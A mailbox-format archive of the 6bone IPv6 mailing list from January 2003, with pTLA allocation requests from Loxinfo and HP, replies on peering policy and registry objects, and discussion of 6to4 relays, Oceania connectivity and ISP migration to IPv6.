>    to the 6Bone Operations Group (see section 8 below) by providing to
>    the Group information in support of its claims that it meets the
>    criteria above.
>
>8. 6Bone Operations Group
>
>    The 6Bone Operations Group is the group in charge of monitoring and
>    policing adherence to the current rules. Membership in the 6Bone
>    Operations Group is mandatory for, and restricted to, sites connected
>    to the 6Bone.
>
>    The 6Bone Operations Group is currently defined by those members of
>    the existing 6Bone mailing list who represent sites participating in
>    the 6Bone. Therefore it is incumbent on relevant site contacts to
>    join the 6Bone mailing list. Instructions on how to join the list are
>    maintained on the 6Bone web site at < http://www.6bone.net>.
>
>
>
>Thank you!
>==================================
>Loxinfo IPv6 Team.
>Loxinfo ISP in Thailand.
>http://www.ipv6.loxinfo.net.th/
>http://www.loxinfo.co.th/
>ipv6@loxinfo.co.th
>T. +66 2622 5678
>F. +66 2622 8380
>==================================


From robson_oliverra@ig.com.br Tue Jan  7 08:39:52 2003
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From: "Robson Oliveira" <robson_oliverra@ig.com.br>
To: <6bone@mailman.isi.edu>
Date: Tue, 7 Jan 2003 14:37:02 -0200
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Can somebody say how can my company/ISP move to IPv6 if:

- The IIS/Apache web server don't support Multi-web site alias to one =
server only?
- To update my Cisco IOS I need a CCO password and my carrier breakdown =
with WorldCom?
- If my Microsoft w2k OS do not support AH/ESP IPSec support completely?
- If the University/developers don't have IPv6 knowledge effort base to =
support the new IP network?
- The Oracle DB don't say where they are walking?

Please, clarify my mind to I see my new way
Robson Oliveira

------=_NextPart_000_0015_01C2B65A.3E52C980
Content-Type: text/html;
	charset="iso-8859-1"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3502.5390" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Can somebody say how can my company/ISP =
move to=20
IPv6 if:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>- The IIS/Apache web server don't =
support Multi-web=20
site alias&nbsp;to one server only?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>- To update my Cisco IOS I need a CCO =
password and=20
my carrier breakdown with WorldCom?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>- If my Microsoft w2k&nbsp;OS do not =
support AH/ESP=20
IPSec support completely?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>- If the University/developers don't =
have IPv6=20
knowledge effort base to support the new IP network?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>- The Oracle DB don't say where they =
are=20
walking?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Please, clarify my mind to I see my new =

way</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Robson =
Oliveira</FONT></DIV></BODY></HTML>

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From pekkas@netcore.fi Tue Jan  7 09:25:03 2003
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From: Pekka Savola <pekkas@netcore.fi>
To: Loxinfo IPv6 Team <ipv6@loxinfo.co.th>
cc: Bob Fink <bob@thefinks.com>, 6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] pTLA request LOXINFO-TH - review closes 21 January 2003
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On Tue, 7 Jan 2003, Bob Fink wrote:
> LOXINFO-TH has requested a pTLA allocation and I find their request fully 
> compliant with RFC2772. The open review period for this will close 21 
> January 2003. Please send your comments to me or the list.
> 
> <www.ipv6.loxinfo.co.th>

I can only wonder why you haven't established any peerings _inside_
Thailand; there are some other IPv6 sites and pTLA's there.  IMO, this
should have been the _first_ thing to do!

> ===
> >Date: Mon, 06 Jan 2003 20:56:34 +0700
> >To: fink@es.net
> >From: Loxinfo IPv6 Team <ipv6@loxinfo.co.th>
> >Subject: pTLA prefix requests
> >
> >Hello Bob,
> >
> >
> >This is a pTLA prefix request from Loxinfo ISP (Thailand), please find 
> >relevant info below.
> >
> >Note. Please review and notify us <ipv6@loxinfo.co.th> for any update.
> >
> >Thank you.
> >Loxinfo, Thailand.
> >
> >
> >    1. The pTLA Applicant must have a minimum of three (3) months
> >       qualifying experience as a 6Bone end-site or pNLA transit.   During
> >       the entire qualifying period the Applicant must be operationally
> >       providing the following:
> >
> >=======================================================================
> >- We have been connected to the 6Bone since April 2002 as a 6Bone end-site
> >=======================================================================
> >
> >       a. Fully maintained, up to date, 6Bone Registry entries for their
> >          ipv6-site inet6num, mntner, and person objects, including each
> >          tunnel that the Applicant has.
> >
> >=======================================================================
> >ipv6-site:    LOXINFO-TH
> >origin:       AS4750
> >descr:        Loxley Information Services Co., Ltd. Thailand.
> >country:      TH
> >application:  ping ipv6-gw.ipv6.loxinfo.net.th
> >tunnel:       IPv6 in IPv4 ipv6-gw.loxinfo.net.th -> gateway.manis.net.my 
> >MIMOS-MY BGP4+
> >tunnel:       IPv6 in IPv4 ipv6-gw.loxinfo.net.th -> 
> >ipv6-gw.ipv6.chttl.com.tw CHTTL-TW BGP4+
> >tunnel:       IPv6 in IPv4 ipv6-gw.loxinfo.net.th -> 
> >parcr1.fr.ndsoftwarenet.net NDSOFTWARE-FR BGP4+
> >tunnel:       IPv6 in IPv4 ipv6-gw.loxinfo.net.th -> 
> >ipv6-gw-1.btn.kewlio.net KEWLIO-GB BGP4+
> >contact:      KI3-6BONE
> >remarks:      Operational since April 2002.
> >notify:       ipv6@loxinfo.co.th
> >mnt-by:       MNT-LOXINFO
> >changed:      ipv6@loxinfo.co.th 20020607
> >changed:      ipv6@loxinfo.co.th 20020610
> >changed:      ipv6@loxinfo.co.th 20020702
> >changed:      ipv6@loxinfo.co.th 20021205
> >changed:      ipv6@loxinfo.co.th 20021206
> >changed:      ipv6@loxinfo.co.th 20021209
> >changed:      ipv6@loxinfo.co.th 20021209
> >changed:      ipv6@loxinfo.co.th 20021210
> >source:       6BONE
> >=======================================================================
> >
> >       b. Fully maintained, and reliable, BGP4+ peering and connectivity
> >          between the Applicant's boundary router and the appropriate
> >          connection point into the 6Bone. This router must be IPv6
> >          pingable. This criteria is judged by members of the 6Bone
> >          Operations Group at the time of the Applicant's pTLA request.
> >
> >=======================================================================
> >Our BGP4+ conections are working on a cisco router, currently peers with
> >MIMOS-MY, CHTTL-TW, NDSOFTWARE-FR and KEWLIO-GB.
> >
> >sh ipv6 interface b
> >Tunnel1                    [up/up]    --> MIMOS-MY
> >     FE80::CB92:3BE2
> >     3FFE:80D0:FFFC:10::37
> >Tunnel2                    [up/up]    --> CHTTL-TW
> >     FE80::CB92:3BE2
> >     3FFE:3600::1:39
> >Tunnel3                    [up/up]    --> NDSOFTWARE-FR
> >     FE80::CB92:3BE2
> >     3FFE:4013:F:6::2
> >Tunnel4                    [up/up]    --> KEWLIO-GB
> >     FE80::CB92:3BE2
> >     3FFE:4005:E000:2::1
> >
> >sh bgp ipv6 s
> >Neighbor        V    AS MsgRcvd MsgSent   TblVer  InQ OutQ 
> >Up/Down  State/PfxRcd
> >3FFE:3600::1:38 4 17715    2482    1750     1663    0    0 1d05h         333
> >3FFE:4005:E000:2::
> >                 4 25396    4761    1750     1663    0    0 1d05h         319
> >3FFE:4013:F:6::1
> >                 4 25358       0       0        0    0    0 never    Active
> >3FFE:80D0:FFFC:10::36
> >                 4  2042    2593    1750     1663    0    0 1d05h         327
> >=======================================================================
> >
> >       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
> >          entries for the Applicant's router(s) and at least one host
> >          system.
> >
> >=======================================================================
> >we have configured IPv6 DNS on our main operational DNS server:
> >203.146.6.50 (ns1.ipv6.loxinfo.net.th)
> >
> >gw      7200    IN      AAAA    3FFE:80D0:FE10:0:200:CFF:FE75:9926
> >ns1     7200    IN      AAAA    3ffe:80d0:fe10:0:2c0:4fff:fecf:8573
> >
> >$ORIGIN 0.0.0.0.0.1.e.f.0.d.0.8.e.f.f.3.ip6.int.
> >6.2.9.9.5.7.E.F.F.F.C.0.0.0.2.0 
> >14400   IN      PTR     gw.ipv6.loxinfo.net.th.
> >3.7.5.8.F.C.E.F.F.F.F.4.0.C.2.0 
> >14400   IN      PTR     ns1.ipv6.loxinfo.co.th.
> >=======================================================================
> >
> >       d. A fully maintained, and reliable, IPv6-accessible system
> >          providing, at a mimimum, one or more web pages, describing the
> >          Applicant's IPv6 services.  This server must be IPv6 pingable.
> >
> >=======================================================================
> >Our IPv6 pingable WWW server is www.ipv6.loxinfo.co.th, and it's 
> >accessible by both
> >IPv6 and IPv4.
> >=======================================================================
> >
> >    2. The pTLA Applicant MUST have the ability and intent to provide
> >       "production-quality" 6Bone backbone service. Applicants must
> >       provide a statement and information in support of this claim.
> >       This MUST include the following:
> >
> >       a. A support staff of two persons minimum, three preferable, with
> >          person attributes registered for each in the ipv6-site object
> >          for the pTLA applicant.
> >
> >=======================================================================
> >3 persons:
> >person:  KI3-6bone, Kiat Intarasuriyawong (kiat@loxinfo.co.th)
> >person:  KN4-6bone, Kittipong Nualnarunart (fender@loxinfo.co.th)
> >person:  Wanida Kongtanarit (wanidat@loxinfo.co.th)
> >=======================================================================
> >
> >       b. A common mailbox for support contact purposes that all support
> >          staff have acess to, pointed to with a notify attribute in the
> >          ipv6-site object for the pTLA Applicant.
> >
> >=======================================================================
> >notify:  ipv6@loxinfo.co.th
> >=======================================================================
> >
> >    3. The pTLA Applicant MUST have a potential "user community" that
> >       would be served by its becoming a pTLA, e.g., the Applicant is a
> >       major provider of Internet service in a region, country, or focus
> >       of interest. Applicant must provide a statement and information in
> >       support this claim.
> >
> >=======================================================================
> >LoxInfo is one of the leading ISPs in Thailand, and vigorously expanded
> >our network and infrastructure in a drive to provide customers with the 
> >most efficient
> >and cost-effective Internet connections available. There are over 500 access
> >networks and 100,000 end-users distributed in our country. The web page is
> >http://www.loxinfo.co.th/
> >For the 6bone pTLA, we have plan of testbed within our network and our 
> >subscribers.
> >This is free services.  We welcome whoever want to connect us with 6BONE 
> >prefix.
> >We also plan to request IPv6 address space from APNIC and then we will
> >provide the IPv6 commercial services in the future.
> >=======================================================================
> >
> >    4. The pTLA Applicant MUST commit to abide by the current 6Bone
> >       operational rules and policies as they exist at time of its
> >       application, and agree to abide by future 6Bone backbone
> >       operational rules and policies as they evolve by consensus of the
> >       6Bone backbone and user community.
> >
> >=======================================================================
> >We agree to all current and future operational rules and policies.
> >=======================================================================
> >
> >    When an Applicant seeks to receive a pTLA allocation, it will apply
> >    to the 6Bone Operations Group (see section 8 below) by providing to
> >    the Group information in support of its claims that it meets the
> >    criteria above.
> >
> >8. 6Bone Operations Group
> >
> >    The 6Bone Operations Group is the group in charge of monitoring and
> >    policing adherence to the current rules. Membership in the 6Bone
> >    Operations Group is mandatory for, and restricted to, sites connected
> >    to the 6Bone.
> >
> >    The 6Bone Operations Group is currently defined by those members of
> >    the existing 6Bone mailing list who represent sites participating in
> >    the 6Bone. Therefore it is incumbent on relevant site contacts to
> >    join the 6Bone mailing list. Instructions on how to join the list are
> >    maintained on the 6Bone web site at < http://www.6bone.net>.
> >
> >
> >
> >Thank you!
> >==================================
> >Loxinfo IPv6 Team.
> >Loxinfo ISP in Thailand.
> >http://www.ipv6.loxinfo.net.th/
> >http://www.loxinfo.co.th/
> >ipv6@loxinfo.co.th
> >T. +66 2622 5678
> >F. +66 2622 8380
> >==================================
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


From gert@Space.Net Tue Jan  7 11:45:10 2003
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From: Gert Doering <gert@space.net>
To: Robson Oliveira <robson_oliverra@ig.com.br>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] ARIN allocation
Message-ID: <20030107204506.P15927@Space.Net>
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In-Reply-To: <002601c2b66b$33e6e100$0a00a8c0@ipv6brspw2k>; from robson_oliverra@ig.com.br on Tue, Jan 07, 2003 at 02:37:02PM -0200
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Hi,

On Tue, Jan 07, 2003 at 02:37:02PM -0200, Robson Oliveira wrote:
> Can somebody say how can my company/ISP move to IPv6 if:

Slowly and with patience...

> - The IIS/Apache web server don't support Multi-web site alias to one server only?

Apache 2.0 should be able to do multihoming with IPv6.

> - To update my Cisco IOS I need a CCO password and my carrier breakdown with WorldCom?

You need to buy an IOS update, yes.  But that's the same as with all your
machines - if their operating system is too old for IPv6, you need a more 
recent version.

> - If my Microsoft w2k OS do not support AH/ESP IPSec support completely?

Do IPSEC on a NetBSD or Linux/Usagi box.

> - If the University/developers don't have IPv6 knowledge effort base to support the new IP network?

Show them that users exist.  Right now, there are only few users, and thus
the developers are not very much interested.

> - The Oracle DB don't say where they are walking?

Tell them you're going to purchase <someotherdatabase> if they don't
support IPv6 soon.  Maybe that will help.

There are some other issues as well - like firewall vendors that have
no interest in IPv6, print server vendors, and so on.

The main problem is that one half claims "nobody is using this, so we do
not have to support IPv6" and the other half claims "because it is so badly
supported, we can't use IPv6".  Chicken and Egg problem.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  55180  (54707)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From nicolas.deffayet@ndsoftware.net Tue Jan  7 11:46:41 2003
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Subject: Re: [6bone] pTLA request LOXINFO-TH - review closes 21 January 2003
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Bob Fink <bob@thefinks.com>
Cc: 6BONE List <6bone@mailman.isi.edu>, Loxinfo IPv6 Team <ipv6@loxinfo.co.th>
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On Tue, 2003-01-07 at 16:04, Bob Fink wrote:

6bone Folk,

> LOXINFO-TH has requested a pTLA allocation and I find their request fully 
> compliant with RFC2772. The open review period for this will close 21 
> January 2003. Please send your comments to me or the list.
> 
> <www.ipv6.loxinfo.co.th>
>
> ===
> >Date: Mon, 06 Jan 2003 20:56:34 +0700
> >To: fink@es.net
> >From: Loxinfo IPv6 Team <ipv6@loxinfo.co.th>
> >Subject: pTLA prefix requests
> >
> >       a. Fully maintained, up to date, 6Bone Registry entries for their
> >          ipv6-site inet6num, mntner, and person objects, including each
> >          tunnel that the Applicant has.
> >
> >=======================================================================
> >ipv6-site:    LOXINFO-TH
> >origin:       AS4750
> >descr:        Loxley Information Services Co., Ltd. Thailand.
> >country:      TH
> >application:  ping ipv6-gw.ipv6.loxinfo.net.th
> >tunnel:       IPv6 in IPv4 ipv6-gw.loxinfo.net.th -> gateway.manis.net.my 
> >MIMOS-MY BGP4+
> >tunnel:       IPv6 in IPv4 ipv6-gw.loxinfo.net.th -> 
> >ipv6-gw.ipv6.chttl.com.tw CHTTL-TW BGP4+
> >tunnel:       IPv6 in IPv4 ipv6-gw.loxinfo.net.th -> 
> >parcr1.fr.ndsoftwarenet.net NDSOFTWARE-FR BGP4+
> >tunnel:       IPv6 in IPv4 ipv6-gw.loxinfo.net.th -> 
> >ipv6-gw-1.btn.kewlio.net KEWLIO-GB BGP4+
> >contact:      KI3-6BONE
> >remarks:      Operational since April 2002.
> >notify:       ipv6@loxinfo.co.th
> >mnt-by:       MNT-LOXINFO
> >changed:      ipv6@loxinfo.co.th 20020607
> >changed:      ipv6@loxinfo.co.th 20020610
> >changed:      ipv6@loxinfo.co.th 20020702
> >changed:      ipv6@loxinfo.co.th 20021205
> >changed:      ipv6@loxinfo.co.th 20021206
> >changed:      ipv6@loxinfo.co.th 20021209
> >changed:      ipv6@loxinfo.co.th 20021209
> >changed:      ipv6@loxinfo.co.th 20021210
> >source:       6BONE
> >=======================================================================
> >
> >       b. Fully maintained, and reliable, BGP4+ peering and connectivity
> >          between the Applicant's boundary router and the appropriate
> >          connection point into the 6Bone. This router must be IPv6
> >          pingable. This criteria is judged by members of the 6Bone
> >          Operations Group at the time of the Applicant's pTLA request.
> >
> >=======================================================================
> >Our BGP4+ conections are working on a cisco router, currently peers with
> >MIMOS-MY, CHTTL-TW, NDSOFTWARE-FR and KEWLIO-GB.
> >
> >sh ipv6 interface b
> >Tunnel1                    [up/up]    --> MIMOS-MY
> >     FE80::CB92:3BE2
> >     3FFE:80D0:FFFC:10::37
> >Tunnel2                    [up/up]    --> CHTTL-TW
> >     FE80::CB92:3BE2
> >     3FFE:3600::1:39
> >Tunnel3                    [up/up]    --> NDSOFTWARE-FR
> >     FE80::CB92:3BE2
> >     3FFE:4013:F:6::2
> >Tunnel4                    [up/up]    --> KEWLIO-GB
> >     FE80::CB92:3BE2
> >     3FFE:4005:E000:2::1
> >
> >sh bgp ipv6 s
> >Neighbor        V    AS MsgRcvd MsgSent   TblVer  InQ OutQ 
> >Up/Down  State/PfxRcd
> >3FFE:3600::1:38 4 17715    2482    1750     1663    0    0 1d05h         333
> >3FFE:4005:E000:2::
> >                 4 25396    4761    1750     1663    0    0 1d05h         319
> >3FFE:4013:F:6::1
> >                 4 25358       0       0        0    0    0 never    Active
> >3FFE:80D0:FFFC:10::36
> >                 4  2042    2593    1750     1663    0    0 1d05h         327
> >=======================================================================

NDSoftware (AS25358) don't peer with Loxinfo (AS4750).

NDSoftware have a strict peering policy about IPv6 over IPv4 tunnels for
have a full high quality network, IPv6 over IPv4 tunnel must have less
than 50ms of latency
(http://noc.ndsoftwarenet.com/docs/peering-policy.php).

We have this policy for can peer with production network and have a full
high quality network.

We do at our discretion an exception to our peering policy for
projets/ISP that request peering to us and have more than 50ms of
latency, if the project/ISP don't provide BGP transit to other ASN and
don't reannonce NDSoftware's routes, we can peer with a signed peering
agreement. If we don't peer, we help project/ISP to find peering partner
in its area.

I have sent a peering agreement to Loxinfo for that they sign it and
return it via postal mail but i never receive it. We will peer with
Loxinfo only when we have the signed peering agreement. We don't want
have route like UK -> TH -> FR.

Best Regards,

-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From nicolas.deffayet@ndsoftware.net Tue Jan  7 12:01:50 2003
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Subject: Re: [6bone] pTLA request LOXINFO-TH - review closes 21 January 2003
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Pekka Savola <pekkas@netcore.fi>
Cc: Loxinfo IPv6 Team <ipv6@loxinfo.co.th>, Bob Fink <bob@thefinks.com>,
   6BONE List <6bone@mailman.isi.edu>
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On Tue, 2003-01-07 at 18:24, Pekka Savola wrote:
> On Tue, 7 Jan 2003, Bob Fink wrote:
> > LOXINFO-TH has requested a pTLA allocation and I find their request fully 
> > compliant with RFC2772. The open review period for this will close 21 
> > January 2003. Please send your comments to me or the list.
> > 
> > <www.ipv6.loxinfo.co.th>
> 
> I can only wonder why you haven't established any peerings _inside_
> Thailand; there are some other IPv6 sites and pTLA's there.  IMO, this
> should have been the _first_ thing to do!

INET-TH (http://whois.6bone.net/cgi-bin/whois?INET-TH) can probably peer
with them.

Best Regards,

-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From rsf@ns.live.com Tue Jan  7 12:40:56 2003
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Date: Tue, 07 Jan 2003 12:39:12 -0800
To: Pim van Pelt <pim@ipng.nl>
From: Ross Finlayson <finlayson@live.com>
Subject: Re: [6bone] trace to 192.88.99.1; .au v6 connectivity
Cc: Dan Reeder <dan@reeder.name>, 6bone@mailman.isi.edu
In-Reply-To: <20030107142242.GD10632@bfib.colo.bit.nl>
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 <001c01c2b644$20ef4be0$0200a8c0@elf>
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>Are there any other people here that would like to have my advertising the
>prefix at AMS-IX ?

Any additional 6to4 relays (using the default anycast address) would be 
welcome, although it would be really nice to also have some of these 
outside Europe!  Let's not forget that for those of us without our own ASs 
(and who don't have an IPv6-capable ISP), 6to4 is the only good way that we 
can get IPv6 connectivity.

I'm located in Silicon Valley (USA), and right now I'm using 
"6to4.ipv6.microsoft.com" (2002:836b:213c:1:e0:8f08:f020:8) as my 6to4 
router, because it's far closer to me, topologically, than any router 
that's currently being advertised on the anycast address 
(2002:c058:6301::).  But I hate having to 'hard-wire' in a 6to4 router 
(especially one located at Microsoft :-); I really wish I could just use 
the anycast address, and automatically get a router that's 'close' to me.

However, the real question to ask here is: Why are more 6to4 relays not 
being advertised to the world using the default anycast address?  The 
answer, presumably, is that there's no incentive for anyone to do 
this!  What incentive does anyone have to provide a 6to4 relay (and, thus, 
bandwidth) to outsiders?  With this in mind, can we ever expect public, 
anycast 6to4 relays to become more widespread?

         Ross.


From ljosa-6bone@initio.no Tue Jan  7 12:55:36 2003
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From: Vebjorn Ljosa <ljosa-6bone@initio.no>
To: 6bone@mailman.isi.edu
Message-ID: <20030107205531.GA30346@cs.ucsb.edu>
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Subject: [6bone] 6BONE registry deletions by jazz.viagenie.qc.ca
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On 2002-12-17, I got notices from the 6BONE Registry
(auto-dbm-mgr@whois.6bone.net) that two of my ipv6-site objects (PVV
and PVV2) had been deleted.  The request came from the host
jazz.viagenie.qc.ca (206.123.31.2).  The associated inet6num objects
were not deleted.

The networks in question have been dead for a while, so it's not a big
deal, but does anyone know who deleted the objects and why?

(If this was some kind of official deletion, and it was announced on
the 6BONE list, I apologize for not having read the list closely
enough.)

Thanks,
Vebjorn


From jeroen@unfix.org Tue Jan  7 14:17:43 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Ross Finlayson'" <finlayson@live.com>
Cc: <6bone@mailman.isi.edu>
Subject: RE: [6bone] trace to 192.88.99.1; .au v6 connectivity
Date: Tue, 7 Jan 2003 23:18:56 +0100
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Ross Finlayson wrote:

> I'm located in Silicon Valley (USA), and right now I'm using 
> "6to4.ipv6.microsoft.com" (2002:836b:213c:1:e0:8f08:f020:8) 
> as my 6to4 router, because it's far closer to me, topologically, than
any router 
> that's currently being advertised on the anycast address 
> (2002:c058:6301::).  But I hate having to 'hard-wire' in a 
> 6to4 router (especially one located at Microsoft :-); I really wish I 
> could just use the anycast address, and automatically get a router
that's 
> 'close' to me.

You could try he.net (http://tunnelbroker.com) though that's 6in4 they
are known to provide a quality service.

> However, the real question to ask here is: Why are more 6to4 
> relays not being advertised to the world using the default anycast
address?  The 
> answer, presumably, is that there's no incentive for anyone to do 
> this!  What incentive does anyone have to provide a 6to4 
> relay (and, thus, bandwidth) to outsiders?  With this in mind, can we
ever 
> expect public, anycast 6to4 relays to become more widespread?

6to4 is a transitional method, one should opt for native first.
If that is not a possibility one should find the closest IPv6 uplink,
may this be 6to4, 6in4 or other tunneled mechanisms.

Unfortunatly the "Americas's" (ARIN region) isn't quite aware of IPv6 ;(
So go hammer the ISP's over there.

Greets,
 Jeroen


From david@iprg.nokia.com Tue Jan  7 14:26:14 2003
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Date: Tue, 7 Jan 2003 14:29:00 -0800
From: David Kessens <david@IPRG.nokia.com>
To: Vebjorn Ljosa <ljosa-6bone@initio.no>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] 6BONE registry deletions by jazz.viagenie.qc.ca
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Vebjorn,

On Tue, Jan 07, 2003 at 12:55:31PM -0800, Vebjorn Ljosa wrote:
> On 2002-12-17, I got notices from the 6BONE Registry
> (auto-dbm-mgr@whois.6bone.net) that two of my ipv6-site objects (PVV
> and PVV2) had been deleted.  The request came from the host
> jazz.viagenie.qc.ca (206.123.31.2).  The associated inet6num objects
> were not deleted.
> 
> The networks in question have been dead for a while, so it's not a big
> deal, but does anyone know who deleted the objects and why?
> 
> (If this was some kind of official deletion, and it was announced on
> the 6BONE list, I apologize for not having read the list closely
> enough.)

Please send me privately more detailed information with the exact
email that you received and I will be able to figure out what happened
in cooperation with the viagenie people who are managing the website
userinterface.

I hope this helps,

David K.
---

From toml@allcomnetworks.com.au Tue Jan  7 15:36:05 2003
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Subject: RE: [6bone] trace to 192.88.99.1; .au v6 connectivity
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Dan,

There are some suppliers of IPv6 space with Australia, but considering
we still pay for bandwidth at very low traffic limits, not everyone is
willing to donated bandwidth to vanity host people. On the other hand,
people are willing to donate resources if they are going to develop
applications/services to the IPv6 community.

200ms ping times will never go away. Packets still are required to
travel large distances to EU/Asia or the USA. I'm lucky if I can break
100ms to NRT (Tokyo) from Sydney on a good day.

Domestic traffic is pretty much a waste of time, as most of the IPv6
traffic is generated out of EU/Asia.

If you would like to contact me off the list, we can discuss it further.

Thanks,
Tom

-----Original Message-----
From: Dan Reeder [mailto:dan@reeder.name] 
Sent: Tuesday, 7 January 2003 10:59 PM
To: 6bone@mailman.isi.edu
Subject: [6bone] trace to 192.88.99.1; .au v6 connectivity


Hi people,
Unless I am under the wrong impression completely, it is my
understanding that 192.88.99.1 is the special 'anycast' address used for
finding the nearest 2002:: 6to4 routing gateway.

I've been doing some traces from various hosts here in .au and they all
either end up at a host in Swizerland or a host in Finland. The thing
is, I'm rather skeptical of the fact that these servers are the
'nearest' to Australia, BGP-speaking or otherwise.

Any assistance you good folks could lend me in relation to this issue
would be a great help. Is 6to4 connectivity even desired these days?

Secondly, and primarily addressed to Aussies/Kiwis/Asians, I've also got
a question with regards to the general IPv6 scene in Australia / Oceania
at the moment. As far as I am aware there are zero tunnel brokers in
this region, let alone commercial entities actively offering and
promoting customer v6 connectivity, although personally I probably
couldn't afford a netblock were it offered for a fee. I mean, as I see
it the nearest quality tunnel broker (in terms of latency) to me
(Brisbane) is he.net's pop at Los Angeles! I'm aware that Aarnet is on
it's way to developing a rather decent educationally-inclined ipv6
facility, and I can only hope they will open up a public tunnel
brokering service, however apart from them there seems to be nobody here
operating a relatively-domestic network yet, letalone an organisation
with decent trans-pacific connectivity.

So, how long do us aussies/oceanians have to put up with ordinarily
200ms+ first hops?

cheers and regards,
Dan Reeder
2001:470:1f00:510::/64
ircgate.org

_______________________________________________
6bone mailing list
6bone@mailman.isi.edu http://mailman.isi.edu/mailman/listinfo/6bone

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------=_NextPart_000_0021_01C2B701.50CB3460--

From odysseus@soa.co.nz Tue Jan  7 16:43:57 2003
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Date: Wed, 8 Jan 2003 08:50:35 +1300
From: Chris Hellberg <odysseus@soa.co.nz>
To: Tom Lohdan <toml@allcomnetworks.com.au>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] trace to 192.88.99.1; .au v6 connectivity
Message-ID: <20030107195035.GA27620@hellcheese.soa.co.nz>
References: <A8C0725091850643A92B881C92319C5A31174F@allcommail.allcomnet.com.au>
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Dan,

I have set up a v6 peering exchange in Wellington, New Zealand in the hope of get
some v6 interest and  flowing. I did have v6-accessible mirrors of some
open-source projects, however it's been temporarily taken off the air.
I have a think about injecting an anycast address for dynamic tunnels a
bit later on.

There is tunnel to the 6bone on the IX, however I've set a no-export on those
routes unless requested. 

webpage: http://www.soa.co.nz/ipv6

Cheers,

Chris
> 
> -----Original Message-----
> From: Dan Reeder [mailto:dan@reeder.name] 
> Sent: Tuesday, 7 January 2003 10:59 PM
> To: 6bone@mailman.isi.edu
> Subject: [6bone] trace to 192.88.99.1; .au v6 connectivity
> 
> 
> Hi people,
> Unless I am under the wrong impression completely, it is my
> understanding that 192.88.99.1 is the special 'anycast' address used for
> finding the nearest 2002:: 6to4 routing gateway.
> 
> I've been doing some traces from various hosts here in .au and they all
> either end up at a host in Swizerland or a host in Finland. The thing
> is, I'm rather skeptical of the fact that these servers are the
> 'nearest' to Australia, BGP-speaking or otherwise.
> 
> Any assistance you good folks could lend me in relation to this issue
> would be a great help. Is 6to4 connectivity even desired these days?
> 
> Secondly, and primarily addressed to Aussies/Kiwis/Asians, I've also got
> a question with regards to the general IPv6 scene in Australia / Oceania
> at the moment. As far as I am aware there are zero tunnel brokers in
> this region, let alone commercial entities actively offering and
> promoting customer v6 connectivity, although personally I probably
> couldn't afford a netblock were it offered for a fee. I mean, as I see
> it the nearest quality tunnel broker (in terms of latency) to me
> (Brisbane) is he.net's pop at Los Angeles! I'm aware that Aarnet is on
> it's way to developing a rather decent educationally-inclined ipv6
> facility, and I can only hope they will open up a public tunnel
> brokering service, however apart from them there seems to be nobody here
> operating a relatively-domestic network yet, letalone an organisation
> with decent trans-pacific connectivity.
> 
> So, how long do us aussies/oceanians have to put up with ordinarily
> 200ms+ first hops?
> 
> cheers and regards,
> Dan Reeder
> 2001:470:1f00:510::/64
> ircgate.org
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu http://mailman.isi.edu/mailman/listinfo/6bone



From bob@thefinks.com Tue Jan  7 18:56:23 2003
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To: 6BONE List <6bone@mailman.isi.edu>
From: Bob Fink <bob@thefinks.com>
Cc: "UPPENDAHL,MICKEY (HP-Corvallis,ex1)" <mickey_uppendahl@hp.com>
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Subject: [6bone] pTLA request by HP - review closes 22 January 2003
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6bone Folk,

HP has requested a pTLA allocation and I find their request fully compliant 
with RFC2772. The open review period for this will close 22 January 2003. 
Please send your comments to me or the list.

<www.hwp6.net>


Thanks,

Bob

===
>From: "UPPENDAHL,MICKEY (HP-Corvallis,ex1)" <mickey_uppendahl@hp.com>
>To: "'fink@es.net'" <fink@es.net>, "'bob@thefinks.com'" <bob@thefinks.com>
>Cc: "UPPENDAHL,MICKEY (HP-Corvallis,ex1)" <mickey_uppendahl@hp.com>,
>    "FROELICH,STEVE (HP-Corvallis,ex1)" <steve_froelich@hp.com>
>Subject:
>Date: Mon, 6 Jan 2003 13:28:42 -0800
>
>Mr. Fink,
>
>On behalf of the Hewlett-Packard IT IPv6 Testbed Project, I would like to
>submit our application for a pTLA.
>
>-Mickey Uppendahl
>  HP - MSDD Strategic Communications Architecture
>  mickey.uppendahl@hp.com
>
>
>---------------- from RFC 2772 -------------------------------------------
>
>7. Guidelines for 6Bone pTLA sites
>
>    The following rules apply to qualify for a 6Bone pTLA allocation. It
>    should be recognized that holders of 6Bone pTLA allocations are
>    expected to provide production quality backbone network services for
>    the 6Bone.
>
